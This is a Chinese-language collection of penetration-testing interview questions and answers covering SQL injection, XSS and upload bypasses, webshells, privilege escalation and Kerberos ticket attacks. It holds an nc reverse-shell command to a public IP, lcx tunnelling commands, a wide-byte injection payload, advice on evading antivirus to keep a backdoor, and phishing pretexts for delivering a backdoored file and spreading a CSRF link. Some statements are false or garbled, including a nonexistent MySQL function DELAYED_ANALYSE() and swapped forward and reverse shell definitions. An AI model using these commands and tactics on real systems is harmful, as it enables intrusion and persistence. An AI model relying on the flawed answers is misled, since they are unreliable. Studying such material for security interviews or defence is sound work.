- DELAYED_ANALYSE():是MySQL中用于延迟分析查询的函数。将DELAYED_ANALYSE()函数嵌入到SQL注入语句中,并观察响应时间的变化。
app和微信小程序如何渗透测试?
对于APP和微信小程序的渗透测试,主要关注以下几个方面:
- 信息收集:收集APP或小程序的相关信息,如版本、功能、接口等,为后续测试做准备。
- 漏洞扫描:利用自动化工具对APP或小程序进行漏洞扫描,发现潜在的安全漏洞。
- 权限测试:测试APP或小程序在不同权限下的行为,如是否存在越权访问漏洞。
- 功能测试:对APP或小程序的功能进行渗透测试,如输入恶意数据、尝试绕过验证等,观察其反应和安全性。
- 通信安全:测试APP或小程序与服务器之间的通信是否安全,如是否存在中间人攻击风险、数据传输是否加密等。
对于微信小程序,还可以进行反编译和代码审计,以发现源代码中的潜在漏洞。
对于前端,可以渗透测试的地方有哪些?
对于前端,可以渗透测试的地方主要包括:
- 输入验证:测试前端输入是否进行了充分的验证,如是否存在SQL注入、跨站脚本攻击(XSS)等漏洞。
- 会话管理:测试前端的会话管理是否安全,如是否存在会话劫持、会话固定等漏洞。
- 敏感信息泄露:检查前端是否泄露了敏感信息,如用户密码、密钥等。
- 跨站请求伪造(CSRF):测试前端是否存在CSRF漏洞,即攻击者能否诱导用户执行非预期的操作。
常见的数据库有哪些?他们的漏洞有哪些?
常见的数据库包括关系型数据库(如Oracle、MySQL、PostgreSQL)和非关系型数据库(如Redis、MongoDB)。
关系型数据库的漏洞主要包括:
- SQL注入:攻击者通过构造恶意的SQL语句来攻击数据库。
- 弱口令:数据库账号使用弱口令,易被攻击者猜测或爆破。
- 权限提升:攻击者利用漏洞提升自己在数据库中的权限。
非关系型数据库的漏洞则包括:
- 未授权访问:数据库未设置访问控制,导致任何人都可以访问。
- 注入攻击:虽然非关系型数据库通常不受SQL注入影响,但可能受到其他类型的注入攻击,如NoSQL注入。
- 数据泄露:由于数据库配置不当或存在漏洞,导致数据被泄露。
HTTP请求过程?
HTTP请求过程主要包括以下几个步骤:
- 构建请求:客户端(如浏览器)构建HTTP请求,包括请求行、请求头和请求体(如有)。
- 建立连接:客户端与服务器建立TCP连接。
- 发送请求:客户端通过TCP连接发送HTTP请求到服务器。
- 接收响应:服务器处理请求后,返回HTTP响应给客户端,包括响应行、响应头和响应体。
- 关闭连接:客户端和服务器断开TCP连接(对于HTTP/1.1,可能会保持长连接)。
HTTP/HTTPS区别?
HTTP和HTTPS的主要区别在于安全性:
- HTTP:是超文本传输协议,用于在Web上传输数据。它本身不加密数据,因此易受中间人攻击和数据泄露风险。
- HTTPS:是HTTP的安全版本,通过SSL/TLS协议对数据进行加密。它可以防止数据在传输过程中被窃取或篡改。
HTTP长短连接区别?
HTTP长短连接的区别在于连接的使用方式:
- 短连接:每次请求都会建立一个新的TCP连接,请求完成后立即关闭连接。这种方式适用于请求较少或连接频繁变化的情况。
- 长连接:多个请求可以复用一个TCP连接,连接在请求完成后不会立即关闭,而是保持一段时间以便后续请求复用。这种方式可以减少建立连接的开销,提高传输效率。
什么是SSL?如何保证数据传输安全?
SSL(安全套接层)是一种安全协议,用于在客户端和服务器之间建立加密的通信通道。它通过以下方式保证数据传输安全:
- 数据加密:使用加密算法对传输的数据进行加密,确保数据在传输过程中不被窃取或篡改。
- 数据完整性:使用消息认证码(MAC)确保数据的完整性,防止数据在传输过程中被篡改。
- 身份认证:使用数字证书对服务器进行身份认证,确保客户端与正确的服务器建立连接。
什么是webshell?
Webshell是指攻击者利用网站漏洞在服务器上留下的一段恶意代码,通常用于远程控制服务器。攻击者可以通过Webshell执行任意命令、上传下载文件、查看服务器信息等操作。
webshell写文件条件?
Webshell写文件通常需要满足以下条件:
- 服务器权限:攻击者需要在服务器上具有写权限,才能将Webshell写入服务器。
- 漏洞利用:攻击者需要利用网站或服务器的漏洞(如文件上传漏洞、SQL注入漏洞等)来写入Webshell。
- 文件路径可控:攻击者需要能够控制写入文件的路径,以便将Webshell写入到能够被执行的位置。
XSS中script标签被过滤。★面试
- 大小写混合:如使用
<ScRiPt>代替<script>。 - 双写关键字: scrscriptipt.
- HTML编码:将
<编码为%3C,将>编码为%3E - URL编码:如果存在两次URL解码的机会。
- 字符集绕过:如UTF-7、US-ASCII、UTF-16等来绕过过滤机制。
- 利用
<img>标签的onerror属性 - 利用
<a>标签的href属性 - 使用javascript:协议等。
文件上传白名单绕过方法?(奇安信)
文件上传的一些常见绕过方法了解么?(深信服)
随意构造一个数据包,如果可以上传,说明是黑名单,不可以上传则是白名单。
绕过方法:%00截断,0x00截断、 0x0a截断、MINI-TYPE检测
文件上传黑名单绕过方法?
文件上传黑名单一般是检测数据包中是否包含黑名单所禁止的字符。随意构造一个后缀名检测是否能上传。
绕过方法包括:
- 后缀大小写;在Windows中,大小写是不敏感的。“index.html”和“index.htmL”访问的结果是一样。
- 后缀后加空格,例如:“phpinfo.php " Windows会自动去掉末尾的空格变成"phpinfo.php";
- 使用点号,在Windows中,文件保存的时候会自动去掉文件后缀后的点号;
- 双写绕过,一些代码会替换关键字为空。比如:“index.phphpp”变为“index.php”。
- 空格绕过,在Windows中,文件保存的时候如果文件后缀名末尾有空格会自动去掉。
- ::$DATA绕过,windows将
phpinfo.php::$DATA后面的数据当文件流处理。自动去掉::$DATA保存为phpinfo.php - 利用.htaccess文件绕
什么是内存马?(深信服)
内存马是一种通过将恶意代码直接注入到内存中进行攻击的技术。它不依赖于硬盘上的文件存储,避免了传统的文件扫描检测,因此更加隐蔽。攻击者通过内存马远程控制受害服务器,执行命令、窃取数据或进行其他恶意操作。
内存马的工作原理是什么?(深信服)
攻击者通过利用应用程序或系统漏洞,将恶意代码注入到目标系统的内存中。由于恶意代码位于内存中而非硬盘,传统的防病毒和扫描工具难以发现。攻击者可以通过内存马执行恶意操作,如远程执行命令、篡改数据或提升权限。
内存马的常见种类有哪些?(深信服)
- 内存注入型 Web Shell:通过漏洞将 Web Shell 代码注入内存,执行远程命令。
- 内存反弹型 Web Shell:通过反弹一个 Shell 连接到攻击者控制的主机,保持与目标系统的连接。
- 文件劫持型内存马:劫持系统进程的内存,执行恶意代码。
- 动态注入型 Web Shell:通过漏洞或权限提升将恶意代码动态注入到正在运行的进程中。
内存马与传统 Web Shell 的区别是什么?
传统 Web Shell 通常是通过文件存储的方式进行恶意代码植入,容易被文件扫描工具发现。相比之下,内存马直接将恶意代码注入到内存中,避免了文件系统的扫描,具有更高的隐蔽性和逃避检测的能力。
内存马的攻击流程是什么?
攻击者首先利用漏洞(如远程命令执行、文件上传等)获取目标系统的控制权限。接着,攻击者将恶意代码注入到内存中执行,并通过内存中的恶意代码执行恶意操作(如远程控制、数据窃取、权限提升等)。由于没有文件存储,内存马较难被传统安全工具检测到。
如何防范内存马攻击?
- 强化应用程序安全:及时修补漏洞,限制文件上传和远程命令执行的权限,使用 Web 应用防火墙(WAF)过滤常见攻击。
- 监控内存和进程行为:使用内存扫描工具和反病毒软件监控异常进程和内存中的可疑代码注入活动。
- 严格权限控制:限制 Web 服务器和后台系统的权限,避免攻击者通过漏洞获取过高权限。
- 加密与防篡改:加密通信数据,防止中间人攻击;保护敏感数据和配置文件免受篡改。
内存马如何避免被文件扫描检测工具发现?
由于内存马将恶意代码注入到内存中,而不是硬盘上的文件,因此传统的防病毒软件和文件扫描工具通常无法检测到内存中的恶意代码。这使得内存马更加隐蔽,攻击者可以在不被发现的情况下远程控制目标系统。
内存马的持久化策略是什么?
虽然内存马本身不持久化,因为它位于内存中,一旦系统重启或内存清空,恶意代码将失效。但攻击者可以通过设置定时任务、反向 shell 或劫持正常进程来保持对系统的控制,确保恶意操作的持续性。
内存马如何进行权限提升?
攻击者通过注入恶意代码到系统的内存中,利用内存马执行恶意命令并通过漏洞进行权限提升。攻击者可以通过此方法获取比原来更高的系统权限,如 root 权限,进而执行更多的恶意操作。
内存马的隐蔽性如何提升?
内存马通过避免存储到硬盘而直接运行在内存中,大大提升了隐蔽性。攻击者还可以通过动态注入技术,将恶意代码注入到正常运行的进程中,使得恶意代码的存在更加难以被发现和识别。
如何检测内存马攻击?
检测内存马攻击可以通过以下方式:
- 监控内存中的异常进程,检查是否有未知进程在运行。
- 使用内存取证技术分析内存中加载的模块和代码。
- 审计系统行为,查看是否有异常命令或未授权的远程连接。
- 部署高级的内存分析工具,识别内存中潜在的恶意代码。
内存马如何利用动态注入攻击?
动态注入型 Web Shell 通过漏洞将恶意代码动态注入到正在运行的进程内存中。由于攻击者通过正常进程注入恶意代码,使得攻击操作不容易被安全检测工具识别。
什么是内网的委派?
内网的委派是指在企业或组织内部的网络中,将特定的任务、权限或资源的管理责任从一个系统或用户转交给另一个系统或用户。这种委派通常用于提高管理效率和分散权限控制。它在内网安全管理中具有重要作用,尤其是在分布式系统、服务架构以及权限控制机制中。
内网委派的主要作用是什么?
内网的委派可以有效地实现以下几方面的作用:
- 提升权限管理的灵活性:允许管理员将某些特定任务或操作委托给其他用户或系统,简化管理流程。
- 增强系统的可扩展性:通过委派机制,能够将系统管理责任分散到多个部门或模块,避免单点故障。
- 提高安全性:通过控制委派范围和细粒度的权限管理,降低滥用权限的风险。
- 优化资源分配:不同用户或系统可以通过委派获取不同的资源,实现资源的合理分配和调度。
任意文件下载漏洞的后利用方法有哪些?(深信服)
任意文件下载漏洞允许攻击者下载服务器上的任意文件,可能会导致敏感信息泄露或进一步的攻击。攻击者利用此漏洞后,通常会进行以下几种攻击:
获取敏感信息:
攻击者可以下载配置文件、数据库备份文件、日志文件等敏感数据。例如,下载像 config.php、.env 文件等,从中获得数据库连接信息、API密钥等敏感信息,帮助进一步渗透。
下载Web服务器配置文件:
通过下载Web服务器配置文件(如 nginx.conf、httpd.conf),攻击者可以了解到服务器的内部结构、目录配置、虚拟主机设置等,从而为后续攻击提供有用信息。
下载用户文件:
攻击者可以下载其他用户的个人文件或敏感数据,尤其是系统允许上传功能且没有严格控制文件类型时,攻击者可能上传恶意文件并借此获取其他用户的数据。
恶意文件上传与执行:
结合任意文件下载漏洞,攻击者可以上传恶意文件(如WebShell),通过下载漏洞下载并执行这些恶意文件,进一步控制服务器。
窃取日志文件:
通过下载Web服务器日志或应用程序日志,攻击者能够获取用户请求记录、错误信息、API请求数据等,进而发现其他潜在的漏洞或进行信息收集。
绕过系统保护机制:
攻击者可以构造特定的文件路径或使用路径遍历技巧(如 ../)绕过文件访问限制,下载本不应暴露的敏感文件。
横向渗透攻击:
下载包含敏感信息的配置文件或凭证后,攻击者可能进一步获取系统或内部网络的访问权限,从而进行横向渗透,攻击更多系统。
任意文件下载中的 /etc/passwd 文件有什么用?(深信服)
在任意文件下载漏洞的攻击场景中,/etc/passwd 文件的意义主要体现在其包含了系统所有用户的基本信息。攻击者通过下载该文件可以获取以下信息:
- 用户名和UID/GID:
/etc/passwd 包含了所有用户的用户名、用户ID(UID)和组ID(GID),攻击者可以了解系统的用户结构,进一步进行横向渗透。 - 用户的主目录和Shell:文件中记录了每个用户的主目录路径和默认Shell,攻击者可以通过这些信息推测用户的工作环境或潜在的攻击目标。
- 系统环境信息:该文件还可能包含关于系统配置、特定用户权限的信息,攻击者可以利用这些信息进行更深入的攻击或社会工程学攻击。
内网面试问题===
数据库提权有哪些方法?
mysql的提权、mssql的提权
MYSQL数据库提权有哪些方式?
UDF提权、启动项提权、MOF提权
MSSQL数据库提权有哪些方式?
xp_cmdshell提权、sp_oacreate提权、CLR执行系统命令、DB_owner权限LOG备份提权、DB_owner权限差异备份提权
windows提权有哪些方式?
内核提权(利用Windows内核漏洞提权,没有安装补丁就可能被利用)、数据库提权(利用数据库漏洞提权如UDF、MOF)、系统错误配置提权(管理员权限配置错误导致低权限用户提权)、组策略首选项提权(利用组策略首选项中漏洞提权)、Bypass UAC(绕过UAC机制)
Linux提权有哪些方式?
利用系统内核漏洞提权提权-脏牛提权、使用sudo命令(用户拥有sudo权限时可以通过sudo超管身份命令)、SUID提权、sudo提权
正向代理和反向代理区别?
- 用途:正向代理主要用于解决客户端访问外部网络时的访问问题,如突破防火墙限制、加速访问等;而反向代理则主要用于将内部服务器的服务提供给外部用户访问,如负载均衡、安全防护等。
- 服务对象:正向代理服务于客户端,帮助客户端访问外部网络;而反向代理则服务于服务器,将服务器的服务提供给外部用户。
- 安全性:正向代理可能允许客户端通过它访问任意网站并隐藏客户端自身,因此需要采取安全措施以确保仅为经过授权的客户端提供服务;而反向代理则对外透明,访问者并不知道自己访问的是一个代理。
NTLM是什么,如何认证?
NTLM(NT LAN Manager)是Windows早期版本的标准安全协议,用于进行身份验证。NTLM认证过程如下:
- 客户端向服务器发送一个请求,请求中包含客户端的用户名。
- 服务器接收到请求后,生成一个随机的挑战值(Challenge)并将其发送给客户端。
- 客户端接收到挑战值后,使用用户的密码哈希值和挑战值生成一个响应值(Response),然后将响应值发送给服务器。
- 服务器接收到响应值后,使用存储的用户密码哈希值和挑战值重新生成响应值,并与客户端发送的响应值进行比较。如果两者相等,则认证成功;否则认证失败。
kerberos是什么,说一下认证流程?
Kerberos是一种网络认证协议,用于在开放网络环境中提供安全的身份认证服务。Kerberos认证流程如下:
- 客户端请求票据:客户端向Kerberos认证服务器(KDC,Key Distribution Center)发送请求,请求获取访问目标服务的票据(Ticket)。
- KDC生成票据:KDC接收到请求后,验证客户端的身份。KDC会生成一个包含客户端和目标服务身份信息以及时间戳的票据,并使用目标服务的密钥对票据进行加密。然后,KDC将加密后的票据和会话密钥(Session Key)一起发送给客户端。
- 客户端获取服务:客户端接收到票据和会话密钥后,使用会话密钥解密票据,得到目标服务的身份信息。然后,客户端将票据发送给目标服务。
- 服务验证票据:目标服务接收到票据后,使用自己的密钥解密票据,并验证票据中的信息。如果验证成功,目标服务会接受客户端的请求并提供相应的服务。
在内网渗透测试中,如何确定测试目标和范围?
确定测试目标和范围时,需要明确要测试的系统、网络或应用程序,以及测试的具体内容和边界。这通常包括了解系统的架构、业务流程、数据流向等。
描述一下内网渗透测试的基本步骤/思路。
内网渗透测试的基本步骤包括:确定测试目标和范围、收集信息和侦察目标、发现系统中的漏洞和弱点、利用漏洞获取系统访问权限、维持访问权限并进行进一步的探测、分析测试结果并生成报告、提供修复建议和建议安全增强措施。
列举几个常用的内网渗透测试工具。
常用的内网渗透测试工具包括Nmap(用于端口扫描和服务识别)、Metasploit(用于漏洞利用和渗透测试框架)、Burp Suite(用于web应用程序渗透测试)、fscan(综合扫描工具)、mimikatz(密码抓取抓)、。
什么是安全实体转义?
安全实体转义是将特殊字符转换成对应的 HTML 实体,从而防止浏览器将其解释为 HTML 标签或脚本代码。常见实体包括<、>、&、'、"、通过对用户输入进行安全实体转义,即使用户输入的内容中包含特殊字符或 HTML 标签,也会被转义为普通文本,而不会被当作代码执行。
中文路径如何写webshell?
在中文路径下写webshell需要注意编码问题。例如,在使用SQL注入等手段获取服务器权限后,可能会遇到中文路径。此时,需要确保写入的webshell编码与服务器文件系统编码一致,否则可能会导致乱码或无法执行。具体方法可能包括使用BAT文件、PowerShell等方式进行写入,并注意编码格式(如GB2312)。
永恒之蓝漏洞利用条件?
永恒之蓝漏洞(MS17-010)的利用条件主要包括:
- 目标机器使用Windows 7/Windows Server 2008 R2等操作系统。
- 目标机器开启了TCP 445文件共享端口。
- 攻击者拥有能够利用该漏洞的工具,如Metasploit。
代理转发有哪些工具?
nc反弹:在公网主机监听 nc -lvp port 在内网主机执行 nc -t -e cmd.exe 公网ip port
lcx.exe:是一个端口转发工具,内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口
公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2
frp:是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。
正向代理和反向代理?
正向代理和反向代理是两种不同类型的代理服务器:
正向代理:位于客户端和原始服务器之间,客户端通过代理服务器访问原始服务器。正向代理主要用于突破访问限制、隐藏客户端IP、提高访问速度等。
反向代理:位于原始服务器和客户端之间,客户端通过代理服务器访问内部网络上的服务器。反向代理主要用于负载均衡、缓存、安全保护等。
nmap禁ping扫描命令?
如果想要禁用ping扫描,可以使用 -pn,
nmap常用temper
一般内网信息收集你会收集哪些信息?/内网信息收集维度?
一般内网信息收集会收集以下信息:
- 网络结构信息:了解内网的拓扑结构,包括各个子网、路由器、交换机等设备的连接情况。
- 主机信息:收集内网中主机的IP地址、操作系统类型、开放端口、运行的服务等信息。
- 用户信息:收集内网中用户的账户名、密码哈希、权限等信息。
- 敏感信息:如数据库密码、配置文件中的敏感设置等。
- 漏洞信息:通过扫描和探测,发现内网中可能存在的漏洞和弱点。
黄金票据条件?
黄金票据(Golden Ticket)是一种针对Windows域环境的攻击手段,它允许攻击者伪造域管理员的票据,从而获取对域内资源的访问权限。黄金票据的生成需要满足以下条件:
- 域SID:需要知道目标域的SID(安全标识符)。
- KRBTGT哈希:需要获取KRBTGT账户的NTLM哈希值。KRBTGT账户是域中用于票据授权服务的账户。
- 用户信息:需要知道想要伪造票据的用户信息,包括用户名、用户SID等。
内网不出网怎么办?
如果内网主机无法访问外部网络,但仍然需要进行信息收集或渗透测试,可以考虑以下方法:
- 利用内部资源:尝试利用内网中的其他主机或服务进行信息收集,如通过内部数据库、文件服务器等获取敏感信息。
- 搭建内部代理:如果内网中有能够访问外部网络的主机,可以在该主机上搭建代理服务器,然后通过代理访问外部资源。
- 利用漏洞提权:尝试在内网中找到存在漏洞的主机或服务,通过漏洞提权获取更高权限,从而可能访问到外部网络或获取更多敏感信息。
windows如何抓取密码?
在Windows系统中抓取密码通常需要使用一些特定的工具或技术,如:
- 使用mimikatz:mimikatz是一款流行的Windows密码抓取工具,它可以获取存储在内存中的明文密码、哈希值等。
- 抓取浏览器密码:一些浏览器(如Chrome、Firefox)会保存用户的登录密码。可以使用专门的工具或脚本抓取这些密码。
- 利用系统漏洞:在某些情况下,可以利用Windows系统的漏洞或配置不当来抓取密码。但这通常需要较高的技术水平和特定的环境条件。
请注意,抓取密码是一种非法的行为,未经授权擅自获取他人密码是违法的。这些技术应该仅用于合法的安全测试或渗透测试场景。
正向和反向shell利用场景?
正向shell和反向shell是两种不同类型的shell连接:
- 正向shell:攻击者主动连接到受害者的机器上,这种连接通常用于受害者机器可以访问攻击者机器但攻击者机器无法直接访问受害者机器的情况。例如,当受害者机器位于NAT后面或防火墙限制了入站连接时。
- 反向shell:受害者机器主动连接到攻击者的机器上,这种连接更为常见,因为攻击者通常可以更容易地控制自己的机器来接受连接。反向shell在渗透测试中非常有用,因为它允许攻击者从远程位置控制受害者机器。
黄金票据和白银票据原理和区别?
黄金票据和白银票据都是针对Windows域环境的攻击手段:
- 黄金票据:如上所述,黄金票据允许攻击者伪造域管理员的票据。它利用了KRBTGT账户的哈希值来生成有效的票据。黄金票据可以授予攻击者对域内任何资源的访问权限。
- 白银票据:白银票据与黄金票据类似,但它针对的是特定的服务而不是整个域。白银票据利用了服务的NTLM哈希值(而不是KRBTGT账户的哈希值)来生成针对该服务的有效票据。白银票据通常用于绕过某些安全控制,如服务账户密码更改或锁定策略。
主要区别在于它们的目标和所需的哈希值不同:黄金票据针对整个域并需要KRBTGT账户的哈希值,而白银票据针对特定的服务并需要该服务的NTLM哈希值。
如果需要发起一次Dos攻击,攻击目标为百兆带宽的股票系统,你会如何做?什么时候做?
发起DoS(拒绝服务)攻击是非法的行为,并且会对目标系统造成损害。因此,我不能提供具体的攻击方法或建议。DoS攻击不仅违反了法律法规,而且也会破坏网络的正常运行和安全性。
相反,我强烈建议采取积极的安全措施来保护股票系统和其他关键基础设施免受此类攻击。这包括实施强大的防火墙规则、定期更新和补丁管理、监控和检测异常流量模式等。
至于何时进行安全测试或渗透测试,这应该在获得明确授权和遵守所有适用法律和道德规范的前提下进行。通常,这些测试应该在非生产环境中进行,并尽可能减少对实际业务运营的影响。
假设当前电脑不能下载任何软件,但可以访问google,你是否可以完成一次不限定目标的入侵?如何做?
- 不能下载软件:无法安装或运行新的工具,只能使用系统自带的工具或浏览器功能。
- 可以访问Google:可以通过浏览器访问互联网资源,包括搜索引擎、在线工具、文档等。
利用思路:
利用浏览器本身漏洞或功能,恶意网页或脚本。或利用浏览器开发者工具尝试xss、sql注入等。
利用系统自带工具,windows:powershll、cmd;linux:Bash、python脚本等。
利用网页在线工具:如在线渗透测试的工具等等。、
利用google收集目标相关信息。
你获取到一台服务器的shell,且成功植入后门,但不久被杀毒软件杀了你想继续控制应该怎么做?
在已经获取到一台服务器的shell并成功植入后门的情况下,如果后门被杀毒软件删除或阻止,继续控制该服务器将变得非常困难。以下是一些可能的建议,但请注意这些行为可能违反法律法规和道德规范:
- 清理痕迹:尝试清理后门文件和相关日志,以避免被杀毒软件再次检测到。
- 使用更隐蔽的后门:考虑使用更隐蔽或更难以检测的后门程序,或者将后门程序嵌入到其他合法的进程中。
- 绕过杀毒软件:研究杀毒软件的检测机制,并尝试找到绕过这些机制的方法。这可能包括修改后门程序的代码、使用加密或混淆技术等。
- 利用其他漏洞:寻找并利用服务器上可能存在的其他漏洞,以重新获得控制权。
然而,我必须强调,这些行为都是非法的,并且会对目标系统造成损害。正确的做法应该是遵守法律和道德规范,不要尝试进行任何未经授权的入侵活动。如果确实需要对服务器进行合法的安全测试或渗透测试,请确保已经获得了明确的授权,
和用户就行安全演练,你有用户A的邮箱和其领导的名字,你有一个捆绑后门的文件,如何让A运行该文件?
通过社会工程学手段,利用用户A的信任心理或权威心理,诱导其运行文件。常见的社会工程学攻击手段包括:
- 伪装成权威人士:利用领导的名字,伪装成领导发送邮件。
- 制造紧迫感:让用户觉得必须立即执行某个操作。
- 利用好奇心或利益诱惑:通过诱人的标题或内容吸引用户点击。
你发现一个大公司网站存在CSRF可以URL重写的漏洞,该公司客服一般发给她的链接她都会点,如何扩大战果?
将该链接进行伪装,利用社会工程学诱导客服点击链接。其方法思路如下:
伪装为工作或上级领导的邮件/短信/内网信息,要求点击链接完成操作,使其恶意URL被访问。
扩大战果的方法:
- 多次触发请求诱导客服点击不同操作的链接。
- 利用不同的用户角色,攻击其他如管理员、普通用户。
- 扩大影响范围:批量发送恶意链接;通过社交平台传播链接,让更多人点击。
- 攻击多个系统:如果该公司存在多个系统或微服务架构,攻击者可以通过伪造请求,尝试攻击多个端点(例如,数据库、支付网关、用户账户管理等)
一个授权的渗透测试做完后,你利用漏洞提权之后,一般都会把渗透目标的防护设备如IDS/IPS的日志导出比对,请问比对的意义是什么?
验证防护系统的有效性;比对日志的一个主要目的是验证防护系统(如IDS/IPS)的有效性和响应能力。如果测试人员通过渗透测试成功地提权,并且这些防护系统没有生成相应的警报或日志,那么说明防护设备可能存在配置不当、规则不全或漏洞,未能及时发现和响应攻击行为。
评估日志记录的准确性;通过比对日志,渗透测试人员可以评估防护设备的日志记录的准确性和详细程度。判断攻击来源(IP地址、用户代理等)、攻击类型(如SQL注入、XSS、提权等)、攻击时间和持续时间攻击目标(如具体的URL、端口、服务等)、防御响应(是否拦截、是否生成警报等)是否准确记录。
分析防御设备的响应时效性;IDS/IPS的响应时效性至关重要。在进行渗透测试时,攻击者往往会在提权后检查日志,以确定是否有被及时检测到。
提供改进防护设备配置的依据;通过比对防护设备的日志,渗透测试人员可以发现防护设备在某些情况下的盲点和弱点。这些发现可以为后续的防护设备配置优化提供重要依据,例如:调整IDS/IPS规则,使其更加敏感并能够检测到更广泛的攻击行为。增加或修改防御策略,增强特定攻击类型的防御能力。修补已知漏洞,如防护设备本身可能存在的漏洞或配置缺陷
线程和进程区别?
进程是操作系统分配资源的基本单位,每个进程有独立的内存和资源,互不影响;线程是进程中的执行单位,线程共享进程的内存和资源,通信更高效。创建进程的开销较大,进程之间的通信比较复杂;而创建线程开销较小,线程之间的通信通过共享内存更简单。进程是独立的,一个进程崩溃不会影响其他进程;但线程共享资源,一个线程崩溃可能会导致整个进程失败。简而言之,进程是独立的“程序”,而线程是进程内部的“工作单元”。
进程中会包含线程吗?
进程中会包含线程。每个进程至少有一个主线程,它负责执行进程的任务。进程可以包含多个线程,这些线程共享同一进程的内存和资源。线程是进程内部的执行单位,多个线程可以并发执行,提高程序的效率。因此,进程和线程是层级关系:进程是更大的单位,线程是进程内的“工作单元”。
二次注入原理?
二次注入是一种安全攻击方式,攻击者利用应用程序在处理用户输入时的漏洞,注入恶意代码或命令,使其在执行时触发其他恶意行为。其原理是在应用程序首次处理输入时,注入的恶意代码不会立即被执行,而是被存储或传递到后续的处理阶段。在后续的操作中,应用程序再次处理这些数据时,恶意代码被“二次执行” ,从而达到攻击目的。
二次注入出现的场景?
- 数据库查询漏洞,当应用程序接受用户输入并将其存储在数据库中时,攻击者可能在第一次输入时注入恶意代码,然后在后续查询中触发这些恶意代码的执行。
- 反序列化漏洞,攻击者可以通过注入恶意数据,在程序进行反序列化时,恶意代码被执行。
- 跨站脚本攻击(XSS) 攻击者通过注入恶意脚本,使其在用户后续访问页面时被执行。
- 日志注入,攻击者通过将恶意内容注入到日志文件,等到日志被处理或查看时,恶意行为被触发。
SSTI原理?(探探)
SSTI(服务器端模板注入)是一种攻击方式,攻击者通过在用户输入中注入模板语法,诱使服务器在渲染模板时执行恶意代码。这可能导致敏感信息泄露、代码执行或其他安全问题。模板引擎在处理用户输入时没有充分验证输入内容,允许恶意模板代码被执行。
SSTI检测方法?
- 输入模板标记:尝试在输入框或URL参数中输入模板引擎的常见标记,如
{{7*7}}、${7*7},看是否返回执行结果。 - 提交特殊字符:输入一些模板特有的符号,如
{%、%}、{{、}},观察是否渲染执行。 - 错误信息:提交恶意模板代码后,如果服务器返回错误信息,可能暴露了模板引擎的类型,帮助判断是否存在漏洞。
- 回显测试:输入模板代码并查看是否被直接回显或渲染,若输出结果表明模板代码被执行,说明存在SSTI漏洞。
dirsearch看过源码吗,为何它扫描比较快?(探探)
目录文件扫描工具;1.采用了高效的**字典攻击和多线程技术**。首先,dirsearch 使用预设的目录和文件字典进行扫描,通过尝试访问这些常见的路径快速判断是否存在目标资源。其次,dirsearch 支持多线程处理,能够同时发送多个请求,从而大大提高扫描速度。
相对路径和绝对路径的区别
绝对路径:是从盘符开始的路径,形如C:\windows\system32\cmd.exe
相对路径:是从当前路径开始的路径
拿到一个待检测的站,你觉得应该先做什么?
给你一个网站,你有什么渗透思路?(知道创宇)
收集信息whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、
mysql的网站注入,5.0以上和5.0以下有什么区别?(知道创宇)
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操作,5.0以上是多用户多操做。
在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。
用邮箱做关键词搜索引擎搜索。
利用搜索到的关联信息找出其他邮进而得到常用社交账号。
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。
利用已有信息生成专用字典。
判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进行代码审计。
一个成熟并且相对安全的CMS,渗透时扫目录的意义?
敏感文件、二级目录扫描
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
常见的网站服务器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
为何一个mysql数据库的站,只有一个80端口开放?
1、更改了默认端口号
2、拦截无法扫描出来。
3、站库进行了分离。
4、3306端口不对外开放
3389无法连接的几种情况。
1、没开放3389 端口
2、端口被修改
3、防护拦截
4、处于内网(需进行端口转发)
请解释宽字节注入的原理。(知道创宇)
- 字符集转换问题:当应用程序使用宽字符集(如GBK)时,某些字符可能由多个字节表示。例如,在GBK编码中,
'(单引号)的编码是0x27,而0xbf5c可能被解释为一个宽字符。 - 转义字符绕过:为了防止SQL注入,开发者通常会对用户输入进行转义处理,例如在单引号前添加反斜杠(
\),将其变为\'。然而,如果应用程序使用宽字符集,攻击者可以构造特殊输入,使得反斜杠与后续字节组合成一个有效的宽字符,从而绕过转义机制。 - 注入成功:通过精心构造的输入,攻击者可以使应用程序错误地解析字符,导致原本用于转义的反斜杠失效,从而成功注入恶意SQL代码。
如何利用宽字节注入进行攻击?(知道创宇)
- 识别漏洞:攻击者需要确认目标应用程序是否使用宽字符集(如GBK),并且是否存在字符集转换问题。
- 构造恶意输入:攻击者构造一个特殊的输入,使得应用程序在处理时错误地将转义字符(如反斜杠)与后续字节组合成一个宽字符。例如,输入
%bf%27,其中%bf与反斜杠\(0x5c)组合成0xbf5c,在GBK编码中可能被解释为一个有效的宽字符。 - 绕过转义:由于反斜杠被错误地解释为宽字符的一部分,原本用于转义单引号的反斜杠失效,导致单引号被保留在SQL查询中。
- 注入SQL代码:攻击者可以在输入中嵌入恶意SQL代码,例如
%bf%27 OR 1=1 --,使得应用程序执行非预期的SQL查询,从而绕过身份验证、获取敏感数据或执行其他恶意操作。 - 执行攻击:通过发送构造好的恶意输入,攻击者可以成功利用宽字节注入漏洞,获取数据库中的敏感信息或控制数据库服务器。
